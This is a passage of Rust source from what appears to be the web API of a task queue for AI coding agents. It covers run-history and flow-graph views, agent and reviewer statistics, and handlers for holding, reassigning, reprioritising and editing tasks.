6387 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6388 " It left a pull request open, so the task was held for a person rather than retried."
6389 .to_owned()
6390 } else if matches!(status, RunStatus::VerifiedNoop) {
6391 " Held for a person to check the claim.".to_owned()
6392 } else if last {
6393 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6394 } else {
6395 " It spent an attempt, and the task moved on to the next run.".to_owned()
6396 };
6397 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6398 let mut attempt = exit.cost();
6399 let mut exit_label = None;
6400 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6401 let spent = match v.cost {
6402 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6403 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6404 None if resumed_later.is_some() => ", refund not recorded",
6405 None => ", attempt refunded",
6406 };
6407 attempt = match v.cost {
6408 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6409 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6410 None if resumed_later.is_some() => AttemptCost::Unknown,
6411 None => attempt,
6412 };
6413 if v.end == "parked" {
6414 exit = RunExit::Parked;
6415 exit_label = Some(match v.cause.as_ref() {
6416 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6417 format!("parked for {}{spent}", c.label())
6418 }
6419 Some(c) => format!("parked ({}){spent}", c.label()),
6420 None => format!("parked{spent}"),
6421 });
6422 } else {
6423 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6424 }
6425 }
6426 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6427 TaskRunView {
6428 activity: None,
6429 n,
6430 id: id.to_owned(),
6431 short,
6432 kind,
6433 status: Some(status.as_str()),
6434 readable: true,
6435 provisional,
6436 description,
6437 outcome: format!("{head}{why}"),
6438 created_at: Some(s.created_at),
6439 pr: s.pr.as_ref().map(|p| p.url.clone()),
6440 exit,
6441 attempt,
6442 exit_label,
6443 later_pass: resumed_later,
6444 pass_n,
6445 passes_of_run,
6446 pass: view,
6447 branch: branch.map(str::to_owned),
6448 badge: None,
6449 }
6450}
6451
6452fn capitalise(s: &str) -> String {
6453 let mut c = s.chars();
6454 c.next().map_or_else(String::new, |f| {
6455 f.to_uppercase().collect::<String>() + c.as_str()
6456 })
6457}
6458
6459#[derive(Debug, Serialize, PartialEq)]
6461struct FlowNode {
6462 key: String,
6464 kind: &'static str,
6466 label: String,
6467 status: Option<&'static str>,
6470 status_of: &'static str,
6473 note: Option<&'static str>,
6475 run_kind: Option<&'static str>,
6476 detail: Option<String>,
6477 decided: bool,
6479 readable: bool,
6480 href: Option<String>,
6481 badge: Option<String>,
6483 started_at: Option<Timestamp>,
6485 time_expected: bool,
6487}
6488
6489#[derive(Debug, Serialize, PartialEq)]
6490struct FlowEdge {
6491 from: String,
6492 to: String,
6493 label: String,
6494 attempt: AttemptCost,
6495}
6496
6497#[derive(Debug, Serialize, PartialEq)]
6498struct FlowView {
6499 nodes: Vec<FlowNode>,
6500 edges: Vec<FlowEdge>,
6501 attempts: usize,
6503 max_attempts: usize,
6504 passes: usize,
6507 runs: usize,
6508}
6509
6510fn task_flow(
6519 task: &Task,
6520 history: &[TaskRunView],
6521 max_attempts: usize,
6522 origin: Option<&FollowUpOrigin>,
6523) -> FlowView {
6524 let max_attempts = task.effective_attempt_limit(max_attempts);
6525 let node = |key: &str, kind, label: String| FlowNode {
6526 key: key.to_owned(),
6527 kind,
6528 label,
6529 status: None,
6530 status_of: "run",
6531 note: None,
6532 run_kind: None,
6533 detail: None,
6534 decided: false,
6535 readable: true,
6536 href: None,
6537 badge: None,
6538 started_at: None,
6539 time_expected: matches!(kind, "start" | "run" | "end"),
6540 };
6541 let mut nodes = Vec::new();
6542 let mut edges: Vec<FlowEdge> = Vec::new();
6543 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6545 let mut n = node(
6546 "chat",
6547 "chat",
6548 format!("Chat {}", crate::queue::short(&link.id)),
6549 );
6550 n.href = Some(link.href);
6551 nodes.push(n);
6552 edges.push(FlowEdge {
6553 from: "chat".to_owned(),
6554 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6555 label: "queued from chat".to_owned(),
6556 attempt: AttemptCost::None,
6557 });
6558 }
6559 if let Some(o) = origin {
6560 let mut n = match &o.parent {
6561 Some(p) => {
6562 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6563 n.status = Some(p.status);
6564 n.status_of = "task";
6565 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6566 n.href = Some(p.href.clone());
6567 n
6568 }
6569 None => {
6570 let mut n = node(
6571 "origin",
6572 "followup",
6573 format!("Follow-up of run {}", o.run.short),
6574 );
6575 n.detail = Some("merged run".to_owned());
6576 n.status = o.run.status;
6577 n.href = o.run.href.clone();
6578 if o.run.href.is_none() {
6579 n.readable = false;
6580 n.note = Some("unreadable");
6581 }
6582 n
6583 }
6584 };
6585 n.decided = true;
6586 let from = n.key.clone();
6587 nodes.push(n);
6588 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6589 let more = o.findings.len().saturating_sub(shown.len());
6590 let label = match (shown.is_empty(), more) {
6591 (true, _) => "open findings".to_owned(),
6592 (false, 0) => format!("open findings {}", shown.join(", ")),
6593 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6594 };
6595 edges.push(FlowEdge {
6596 from,
6597 to: "start".to_owned(),
6598 label,
6599 attempt: AttemptCost::None,
6600 });
6601 }
6602 let mut start = node("start", "start", "Task queued".to_owned());
6603 start.started_at = Some(task.created_at);
6604 nodes.push(start);
6605 let mut prev = "start".to_owned();
6606 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6607 for (i, h) in history.iter().enumerate() {
6608 let key = format!("run-{}", h.n);
6609 let mut n = node(&key, "run", format!("Run {}", h.short));
6610 n.started_at = h
6613 .readable
6614 .then(|| {
6615 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6616 h.created_at
6617 } else {
6618 None
6619 })
6620 })
6621 .flatten();
6622 n.run_kind = Some(h.kind);
6623 n.readable = h.readable;
6624 n.href = Some(format!("#/runs/{}", h.id));
6625 n.decided = h.readable && !h.provisional;
6626 n.detail = h
6627 .branch
6628 .as_ref()
6629 .map(|b| format!("review-only run of branch {b}"));
6630 match h.exit {
6631 RunExit::Unreadable => n.note = Some("unreadable"),
6632 RunExit::Interrupted => n.note = Some("interrupted"),
6633 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6636 _ => {
6637 n.status = h.status;
6638 n.badge = h.badge.clone();
6639 if h.provisional {
6640 n.note = Some("no verdict");
6641 }
6642 }
6643 }
6644 let into = match h.kind {
6645 "review" => Some(format!(
6646 "review-only run of branch {}",
6647 h.branch.as_deref().unwrap_or("?")
6648 )),
6649 "resume" => Some("resume the same run".to_owned()),
6650 _ if i > 0 => Some("retry".to_owned()),
6651 _ => None,
6652 };
6653 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6654 let label = match (prev_exit, into) {
6655 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6656 (Some((_, l, _)), None) => l,
6657 (None, Some(i)) => i,
6658 (None, None) => "claimed".to_owned(),
6659 };
6660 edges.push(FlowEdge {
6661 from: prev.clone(),
6662 to: key.clone(),
6663 label,
6664 attempt,
6665 });
6666 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6667 prev = key;
6668 nodes.push(n);
6669 }
6670 let mut end = node("end", "end", task.status.as_str().to_owned());
6671 end.status = Some(task.status.as_str());
6672 end.status_of = "task";
6673 if task.status == TaskStatus::Held {
6676 end.started_at = task.held_at;
6677 }
6678 nodes.push(end);
6679 let (label, attempt) = match prev_exit {
6680 None => (
6681 format!("no run yet \u{2192} {}", task.status.as_str()),
6682 AttemptCost::None,
6683 ),
6684 Some((e, l, cost)) if e.explains(task.status) => {
6685 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6686 }
6687 Some((_, _, cost)) => (
6688 format!("closed by hand: task is {}", task.status.as_str()),
6689 cost,
6690 ),
6691 };
6692 edges.push(FlowEdge {
6693 from: prev,
6694 to: "end".to_owned(),
6695 label,
6696 attempt,
6697 });
6698 FlowView {
6699 nodes,
6700 edges,
6701 attempts: task.attempts,
6702 max_attempts,
6703 passes: history.len(),
6704 runs: distinct_runs(&task.runs),
6705 }
6706}
6707
6708fn distinct_runs(runs: &[String]) -> usize {
6710 let mut seen: Vec<&str> = Vec::new();
6711 for r in runs {
6712 if !seen.contains(&r.as_str()) {
6713 seen.push(r);
6714 }
6715 }
6716 seen.len()
6717}
6718
6719fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6721 let mut slots = Vec::new();
6722 let mut seen = Vec::new();
6723 for run_id in &task.runs {
6724 if seen.contains(&run_id) {
6725 continue;
6726 }
6727 seen.push(run_id);
6728 let state = read(run_id);
6729 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6730 s.passes
6731 .iter()
6732 .filter(|p| {
6733 p.task_entry
6734 || task
6735 .passes
6736 .iter()
6737 .any(|t| t.run == *run_id && t.pass_index == p.index)
6738 })
6739 .cloned()
6740 .collect()
6741 });
6742 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6743 let total = legacy_count.max(mine.len());
6744 let offset = total - mine.len();
6745 for k in 0..total {
6746 let position = task
6749 .runs
6750 .iter()
6751 .enumerate()
6752 .filter(|(_, r)| *r == run_id)
6753 .nth(k.min(legacy_count - 1))
6754 .unwrap()
6755 .0;
6756 slots.push((
6757 run_id,
6758 state.clone(),
6759 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6760 position,
6761 ));
6762 }
6763 }
6764 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6765 slots.sort_by_key(|(_, state, pass, _)| {
6766 pass.as_ref()
6767 .map(|p| p.started_at)
6768 .or_else(|| state.as_ref().map(|s| s.created_at))
6769 .map_or((true, task.created_at), |at| (false, at))
6770 });
6771 } else {
6772 slots.sort_by_key(|(_, _, _, position)| *position);
6773 }
6774 let mut history = Vec::with_capacity(slots.len());
6775 let mut seen: Vec<&str> = Vec::new();
6776 let mut prior: Option<(&str, RunStatus)> = None;
6777 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6778 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6779 let resumed = k > 0;
6780 seen.push(run_id);
6781 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6782 let pass = pass.as_ref();
6783 let settled = pass.and_then(|p| {
6784 task.passes
6785 .iter()
6786 .find(|t| t.run == **run_id && t.pass_index == p.index)
6787 });
6788 history.push(task_run_view(
6789 run_id,
6790 state.as_ref(),
6791 RunSlot {
6792 n: i + 1,
6793 resumed,
6794 resumed_later: slots[i + 1..]
6795 .iter()
6796 .position(|(id, _, _, _)| id == run_id)
6797 .map(|off| i + off + 2),
6798 prior,
6799 last: i + 1 == slots.len(),
6800 pass,
6801 settled,
6802 pass_n: k + 1,
6803 passes_of_run: total,
6804 },
6805 task,
6806 ));
6807 if let Some(s) = &state {
6808 prior = Some((run::short_of(run_id), s.status));
6809 }
6810 }
6811 history
6812}
6813
6814fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6817 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6818 return;
6819 }
6820 let (_, claimed, _) = run_row_inputs(ui);
6821 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6822 for h in history
6823 .iter_mut()
6824 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6825 {
6826 let Ok(state) = read_run(&ui.runs, &h.id) else {
6827 continue;
6828 };
6829 if state.status.done() {
6830 continue;
6831 }
6832 let live = state.liveness_with(
6833 claimed.contains(&h.id),
6834 |p| probe.borrow_mut().status(p),
6835 |p| probe.borrow_mut().started_at(p),
6836 );
6837 let waiting = !ui.questions.open_for(&h.id).is_empty();
6838 h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6839 let display = run_display_status(&state, waiting, live);
6840 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6841 if matches!(word.as_str(), "stale" | "superseded")
6842 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6843 {
6844 h.badge = Some(word);
6845 }
6846 }
6847}
6848
6849async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6850 blocking(move || {
6851 let id = resolve_task(&ui.queue, &id)?;
6852 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6853 })
6854 .await
6855}
6856
6857async fn task_detail(
6858 State(ui): State<Arc<Ui>>,
6859 Path(id): Path<String>,
6860) -> ApiResult<Json<TaskDetailView>> {
6861 blocking(move || {
6862 let id = resolve_task(&ui.queue, &id)?;
6863 let task = ui
6864 .queue
6865 .get(&id)
6866 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6867 let inv = if task.status == TaskStatus::Blocked {
6868 Some(crate::blockers::Inventory::load_for(
6869 &ui.queue,
6870 &ui.questions,
6871 &task,
6872 ))
6873 } else {
6874 None
6875 };
6876 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6877 mark_badges(&ui, &task, &mut history);
6878 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6879 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6880 let origin = task.followup.as_ref().map(|fu| {
6881 followup_origin(
6882 fu,
6883 |tid| ui.queue.get(tid).ok(),
6884 |rid| read_run(&ui.runs, rid).ok(),
6885 )
6886 });
6887 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6888 let task_view = match inv.as_ref() {
6889 Some(inv) => TaskView::with_inventory(task, inv),
6890 None => TaskView::from(task),
6891 }
6892 .with_recovery_decisions(&ui.questions);
6893 Ok(Json(TaskDetailView {
6894 max_attempts,
6895 flow,
6896 followup_origin: origin,
6897 passes_total: history.len(),
6898 runs_distinct: distinct_runs(&task_view.task.runs),
6899 history,
6900 runs_unreadable,
6901 attempts_note: ATTEMPTS_NOTE,
6902 task: task_view,
6903 }))
6904 })
6905 .await
6906}
6907
6908#[derive(Debug, Serialize)]
6912struct RateView {
6913 pct: f64,
6914 denominator: usize,
6915}
6916
6917impl RateView {
6918 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6919 (denominator > 0).then(|| Self {
6920 pct: 100.0 * numerator as f64 / denominator as f64,
6921 denominator,
6922 })
6923 }
6924}
6925
6926#[derive(Debug, Serialize)]
6931struct StatsTotalsView {
6932 runs: usize,
6933 merged: usize,
6934 ready: usize,
6935 blocked: usize,
6936 failed: usize,
6937 stalled: usize,
6938 verified_noop: usize,
6939 superseded: usize,
6940 in_progress: usize,
6941 completion_rate: Option<RateView>,
6942 tallied: usize,
6943 split: usize,
6944 split_rate: Option<RateView>,
6945 deliberated: usize,
6946 minds_changed: usize,
6947 converged: usize,
6948 review_rounds: usize,
6949}
6950
6951impl From<&stats::Totals> for StatsTotalsView {
6952 fn from(t: &stats::Totals) -> Self {
6953 Self {
6954 runs: t.runs,
6955 merged: t.merged,
6956 ready: t.ready,
6957 blocked: t.blocked,
6958 failed: t.failed,
6959 stalled: t.stalled,
6960 verified_noop: t.verified_noop,
6961 superseded: t.superseded,
6962 in_progress: t.in_progress,
6963 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6964 tallied: t.tallied,
6965 split: t.split,
6966 split_rate: RateView::of(t.split, t.tallied),
6967 deliberated: t.deliberated,
6968 minds_changed: t.minds_changed,
6969 converged: t.converged,
6970 review_rounds: t.review_rounds,
6971 }
6972 }
6973}
6974
6975#[derive(Debug, Serialize)]
6977struct AgentStatsView {
6978 agent: String,
6979 entered: usize,
6980 wins: usize,
6981 empty: usize,
6982 win_rate: Option<RateView>,
6983 competitive_entered: usize,
6984 competitive_wins: usize,
6985 competitive_win_rate: Option<RateView>,
6986 solo_entered: usize,
6987 solo_adopted: usize,
6988 solo_adoption_rate: Option<RateView>,
6989}
6990
6991impl From<&stats::AgentStats> for AgentStatsView {
6992 fn from(a: &stats::AgentStats) -> Self {
6993 Self {
6994 agent: a.agent.clone(),
6995 entered: a.entered,
6996 wins: a.wins,
6997 empty: a.empty,
6998 win_rate: RateView::of(a.wins, a.entered),
6999 competitive_entered: a.competitive_entered,
7000 competitive_wins: a.competitive_wins,
7001 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7002 solo_entered: a.solo_entered,
7003 solo_adopted: a.solo_adopted,
7004 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7005 }
7006 }
7007}
7008
7009#[derive(Debug, Serialize)]
7013struct ReviewerStatsView {
7014 agent: String,
7015 rounds: usize,
7016 seated: usize,
7017 submitted: usize,
7018 adopted: usize,
7019 unique: usize,
7020 timeouts: usize,
7021 adopted_per_round: Option<f64>,
7022 precision: Option<RateView>,
7023 unique_rate: Option<RateView>,
7024 timeout_rate: Option<RateView>,
7025}
7026
7027impl From<&stats::ReviewerStats> for ReviewerStatsView {
7028 fn from(r: &stats::ReviewerStats) -> Self {
7029 Self {
7030 agent: r.agent.clone(),
7031 rounds: r.rounds,
7032 seated: r.seated,
7033 submitted: r.submitted,
7034 adopted: r.adopted,
7035 unique: r.unique,
7036 timeouts: r.timeouts,
7037 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7038 precision: RateView::of(r.adopted, r.submitted),
7039 unique_rate: RateView::of(r.unique, r.submitted),
7040 timeout_rate: RateView::of(r.timeouts, r.seated),
7041 }
7042 }
7043}
7044
7045#[derive(Debug, Serialize)]
7051struct AdvisorStatsView {
7052 agent: String,
7053 seated: usize,
7054 proposed: usize,
7055 absent: usize,
7056 faint: usize,
7057 strong: usize,
7058 reflection_rate: Option<RateView>,
7059}
7060
7061impl From<&stats::AdvisorStats> for AdvisorStatsView {
7062 fn from(a: &stats::AdvisorStats) -> Self {
7063 Self {
7064 agent: a.agent.clone(),
7065 seated: a.seated,
7066 proposed: a.proposed,
7067 absent: a.absent,
7068 faint: a.faint,
7069 strong: a.strong,
7070 reflection_rate: RateView::of(a.strong, a.proposed),
7071 }
7072 }
7073}
7074
7075#[derive(Debug, Serialize)]
7077struct E2eStatsView {
7078 rounds: usize,
7079 failures: usize,
7080 sole_detections: usize,
7081 deferred: usize,
7082 sole_rate: Option<RateView>,
7083}
7084
7085impl From<&stats::E2eStats> for E2eStatsView {
7086 fn from(e: &stats::E2eStats) -> Self {
7087 Self {
7088 rounds: e.rounds,
7089 failures: e.failures,
7090 sole_detections: e.sole_detections,
7091 deferred: e.deferred,
7092 sole_rate: RateView::of(e.sole_detections, e.failures),
7093 }
7094 }
7095}
7096
7097#[derive(Debug, Serialize)]
7105struct ReleaseBumpStatsView {
7106 merged: usize,
7107 recorded: usize,
7108 pr_opened: usize,
7109 automerge_enabled: usize,
7110 merged_directly: usize,
7111 needs_attention: usize,
7112 clean: usize,
7113 coverage_rate: Option<RateView>,
7114 automerge_rate: Option<RateView>,
7115 attention_rate: Option<RateView>,
7116}
7117
7118impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7119 fn from(b: &stats::ReleaseBumpStats) -> Self {
7120 Self {
7121 merged: b.merged,
7122 recorded: b.recorded,
7123 pr_opened: b.pr_opened,
7124 automerge_enabled: b.automerge_enabled,
7125 merged_directly: b.merged_directly,
7126 needs_attention: b.needs_attention,
7127 clean: b.clean(),
7128 coverage_rate: RateView::of(b.recorded, b.merged),
7129 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7130 attention_rate: RateView::of(b.needs_attention, b.recorded),
7131 }
7132 }
7133}
7134
7135#[derive(Debug, Serialize)]
7137struct TaskCountsView {
7138 queued: usize,
7139 running: usize,
7140 done: usize,
7141 failed: usize,
7142 held: usize,
7143 blocked: usize,
7144 parked: usize,
7145}
7146
7147impl From<crate::queue::TaskCounts> for TaskCountsView {
7148 fn from(c: crate::queue::TaskCounts) -> Self {
7149 Self {
7150 queued: c.queued,
7151 running: c.running,
7152 done: c.done,
7153 failed: c.failed,
7154 held: c.held,
7155 blocked: c.blocked,
7156 parked: c.parked,
7157 }
7158 }
7159}
7160
7161#[derive(Debug, Serialize)]
7167struct RepoSummaryView {
7168 repo: String,
7171 name: String,
7173 runs: usize,
7174 completion_rate: Option<RateView>,
7175}
7176
7177impl From<&stats::RepoStats> for RepoSummaryView {
7178 fn from(r: &stats::RepoStats) -> Self {
7179 let t = &r.stats.totals;
7180 Self {
7181 repo: r.repo.to_string_lossy().into_owned(),
7182 name: r.name.clone(),
7183 runs: t.runs,
7184 completion_rate: RateView::of(t.merged + t.ready, t.runs),
7185 }
7186 }
7187}
7188
7189#[derive(Debug, Serialize)]
7195struct StatsView {
7196 totals: StatsTotalsView,
7197 agents: Vec<AgentStatsView>,
7199 reviewers: Vec<ReviewerStatsView>,
7201 advisors: Vec<AdvisorStatsView>,
7203 e2e: E2eStatsView,
7204 release_bumps: ReleaseBumpStatsView,
7205 queue: Option<TaskCountsView>,
7206 runs_unreadable: usize,
7216 repos: Vec<RepoSummaryView>,
7220 daily: Vec<DailyStatsView>,
7225 repo: Option<String>,
7229 retired_hidden: Vec<String>,
7233}
7234
7235#[derive(Debug, Serialize)]
7237struct DailyStatsView {
7238 date: String,
7240 runs: usize,
7241 merged: usize,
7242 ready: usize,
7243 other: usize,
7244 completion_rate: Option<RateView>,
7246}
7247
7248impl From<&stats::DayBucket> for DailyStatsView {
7249 fn from(b: &stats::DayBucket) -> Self {
7250 Self {
7251 date: b.date.to_string(),
7252 runs: b.runs,
7253 merged: b.merged,
7254 ready: b.ready,
7255 other: b.other,
7256 completion_rate: RateView::of(b.merged + b.ready, b.runs),
7257 }
7258 }
7259}
7260
7261const STATS_DAILY_DAYS: usize = 30;
7263
7264#[derive(Debug, Default, Deserialize)]
7273#[serde(default)]
7274struct StatsQuery {
7275 repo: Option<String>,
7276 all: bool,
7278 runs_only: bool,
7280}
7281
7282async fn stats_get(
7289 State(ui): State<Arc<Ui>>,
7290 Query(q): Query<StatsQuery>,
7291) -> ApiResult<Json<StatsView>> {
7292 blocking(move || {
7293 let states: Vec<RunState> = run_ids(&ui.runs)
7294 .into_iter()
7295 .filter_map(|id| read_run(&ui.runs, &id).ok())
7296 .collect();
7297 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7298 .iter()
7299 .map(RepoSummaryView::from)
7300 .collect();
7301 let mut scoped: Vec<&RunState> = states.iter().collect();
7302 let mut collected = match &q.repo {
7303 Some(repo) => {
7304 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7305 if filtered.is_empty() {
7306 return Err(ApiError::not_found(format!(
7307 "no runs recorded against repo `{repo}`"
7308 )));
7309 }
7310 scoped = filtered.clone();
7311 stats::collect_refs(filtered)
7312 }
7313 None => stats::collect(&states),
7314 };
7315 if !q.all {
7316 let repo = q
7317 .repo
7318 .as_deref()
7319 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7320 stats::retain_current_roster(&mut collected, &repo);
7321 }
7322 let daily = stats::daily(
7323 scoped,
7324 jiff::Zoned::now().date(),
7325 &jiff::tz::TimeZone::system(),
7326 STATS_DAILY_DAYS,
7327 );
7328 let queue_counts = (!q.runs_only)
7329 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7330 Ok(Json(StatsView {
7331 totals: StatsTotalsView::from(&collected.totals),
7332 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7333 reviewers: collected
7334 .reviewers
7335 .iter()
7336 .map(ReviewerStatsView::from)
7337 .collect(),
7338 advisors: collected
7339 .advisors
7340 .iter()
7341 .map(AdvisorStatsView::from)
7342 .collect(),
7343 e2e: E2eStatsView::from(&collected.e2e),
7344 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7345 queue: queue_counts,
7346 runs_unreadable: runs_unreadable(&ui.runs),
7347 repos,
7348 daily: daily.iter().map(DailyStatsView::from).collect(),
7349 repo: q.repo.clone(),
7350 retired_hidden: collected.retired_hidden.clone(),
7351 }))
7352 })
7353 .await
7354}
7355
7356#[derive(Debug, Default, Deserialize)]
7359#[serde(default, deny_unknown_fields)]
7360struct HoldBody {
7361 reason: Option<String>,
7362}
7363
7364async fn queue_hold(
7365 State(ui): State<Arc<Ui>>,
7366 Path(id): Path<String>,
7367 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7368) -> ApiResult<Json<TaskView>> {
7369 let body = match body {
7373 Ok(Json(body)) => body,
7374 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7375 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7376 };
7377 let reason = body.reason.filter(|r| !r.trim().is_empty());
7378 mutate(ui, id, move |t| {
7379 t.hold_manual(reason.clone());
7380 Ok(())
7381 })
7382 .await
7383}
7384
7385#[derive(Deserialize)]
7386#[serde(deny_unknown_fields)]
7387struct ReassignBody {
7388 repo: PathBuf,
7389}
7390
7391async fn queue_reassign(
7392 State(ui): State<Arc<Ui>>,
7393 Path(id): Path<String>,
7394 Json(body): Json<ReassignBody>,
7395) -> ApiResult<Json<TaskView>> {
7396 let home = ui.home.clone();
7397 let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7398 .await
7399 .map_err(ApiError::bad_request_from)?;
7400 let notes = crate::task_reassign::advisory_notes(&task, &home);
7401 let mut view = TaskView::from(task);
7402 view.reassignment_notes = notes;
7403 Ok(Json(view))
7404}
7405
7406async fn queue_release(
7407 State(ui): State<Arc<Ui>>,
7408 Path(id): Path<String>,
7409) -> ApiResult<Json<TaskView>> {
7410 mutate(ui, id, |t| {
7411 t.release_operator("web", None);
7412 Ok(())
7413 })
7414 .await
7415}
7416
7417#[derive(Debug, Deserialize)]
7418#[serde(deny_unknown_fields)]
7419struct AttemptLimitBody {
7420 attempt_limit: serde_json::Value,
7422}
7423
7424async fn queue_attempt_limit(
7425 State(ui): State<Arc<Ui>>,
7426 Path(id): Path<String>,
7427 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7428) -> ApiResult<Json<TaskView>> {
7429 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7430 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7431 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7432 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7433}
7434
7435#[derive(Debug, Deserialize)]
7436#[serde(deny_unknown_fields)]
7437struct ImplementersBody {
7438 implementers: u8,
7439}
7440
7441async fn queue_implementers(
7442 State(ui): State<Arc<Ui>>,
7443 Path(id): Path<String>,
7444 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7445) -> ApiResult<Json<TaskView>> {
7446 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7447 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7448}
7449
7450#[derive(Debug, Deserialize)]
7451#[serde(deny_unknown_fields)]
7452struct UrgentBody {
7453 urgent: bool,
7454}
7455
7456async fn queue_urgent(
7457 State(ui): State<Arc<Ui>>,
7458 Path(id): Path<String>,
7459 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7460) -> ApiResult<Json<TaskView>> {
7461 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7462 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7463}
7464
7465#[derive(Debug, Deserialize)]
7467#[serde(deny_unknown_fields)]
7468struct PriorityBody {
7469 priority: i32,
7470}
7471
7472async fn queue_priority(
7478 State(ui): State<Arc<Ui>>,
7479 Path(id): Path<String>,
7480 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7481) -> ApiResult<Json<TaskView>> {
7482 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7483 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7484}
7485
7486#[derive(Debug, Deserialize)]
7488#[serde(deny_unknown_fields)]
7489struct EditBody {
7490 title: String,
7491 instruction: String,
7492 #[serde(default)]
7495 force: bool,
7496}
7497
7498async fn queue_edit(
7502 State(ui): State<Arc<Ui>>,
7503 Path(id): Path<String>,
7504 body: std::result::Result<Json<EditBody>, JsonRejection>,
7505) -> ApiResult<Json<TaskView>> {
7506 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7507 let mut judged: Option<(String, PathBuf)> = None;
7511 if !body.force {
7512 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7513 let (id, text) = (id.clone(), body.instruction.clone());
7514 let (seen, hits) = blocking(move || {
7515 let id = resolve_task(&queue, &id)?;
7516 let t = queue.get(&id)?;
7517 if text == t.instruction {
7518 return Ok((None, Vec::new()));
7519 }
7520 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7521 Ok((Some((t.instruction, t.repo)), hits))
7522 })
7523 .await?;
7524 if let Some((_, repo)) = &seen {
7525 let cfg = crate::config::Config::discover(repo, None)
7526 .ok()
7527 .map(|(c, _)| c);
7528 let screened =
7529 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7530 .await
7531 .map_err(|dup| {
7532 ApiError::conflict(dup.render(
7533 "Nothing was saved. If it is not a duplicate, repeat the request \
7534 with \"force\": true.",
7535 ))
7536 })?;
7537 if let crate::dupes::Screened::Unjudged(why) = screened {
7538 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7539 }
7540 }
7541 judged = seen;
7542 }
